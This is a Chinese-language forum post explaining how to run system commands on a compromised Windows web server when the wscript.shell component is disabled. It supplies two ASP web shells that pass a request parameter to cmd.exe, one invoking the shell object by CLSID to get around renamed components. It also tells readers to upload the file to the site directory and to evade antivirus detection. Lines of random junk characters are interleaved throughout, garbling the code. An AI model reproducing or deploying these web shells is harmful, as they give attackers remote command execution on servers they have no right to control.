没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  + Y; n6 C: z' v6 c
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  
• end if
  ( A) R( g( e2 R8 c
• response.write(”")
  : l1 \9 c' T3 z( @1 z
• On Error Resume
  + }/ \% K/ ~. |% Z# V, s
• Next
    W9 R: X! f  P' U2 I
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  1 f- ]  C, L, l$ o6 q* o+ O
• response.write(”")
  
• response.write(”")
  
• response.write(”
  
• “)
  # Y6 _% L5 P' `: Z  F% H
• response.write(”")
  
• %>
  $ s5 C- N' y( p# s& A# J3 i$ n
• 保存为一个asp文件，然后传到网站目录上去
  & @/ I( t, d5 X
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  # O3 i5 [8 @6 \: h" L/ f, x+ Q
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  3 u& t: D: Z+ ~' c- C$ H
• 
  & Z6 A5 b: _0 O0 q
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  ) @' \5 r& q) N, H) e! C
• <%if err then%>
  1 V/ u( o7 b, g
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  % y7 d4 D; `$ s' P- y  o
• end if
  8 A, d7 L0 p3 u! U
• response.write(”<textarea readonly cols=80
  
• 
  $ \. P8 ~' ], Q' `6 f
• rows=20>”)
  
• On Error Resume Next
  ' d& m9 j& R3 d3 P- ^& Q- l
• response.write
  0 d% [3 f4 u# C1 U
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  : j: g1 G- v! V
• response.write(”</textarea>”)
  
• response.write(”<form
  0 |" _; q5 ~2 _$ d5 P; ?9 b" x
• 
  8 p# Q9 G) X% W  r  e
• method=’post’>”)
  4 V" ~! ^! f- b. z( r
• response.write(”<input type=text name=’c'
  4 h9 I! A( X1 Z6 D2 ?) o
• 
  
• size=60><br>”)
  4 |; Y/ W0 I6 b- \0 i* L
• response.write(”<input type=submit
  
• 
  1 Z0 R. B9 \$ @: E- Z1 a
• value=’执行’></form>”)
  
• %>
  & F7 a# }) V5 M, N$ X% {
• 保存为ASP，此代码可能被杀，请注意免杀。
  ; M- y( [! \/ b
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  ) H* ~3 b& \7 @' t+ O, D: `% Y

复制代码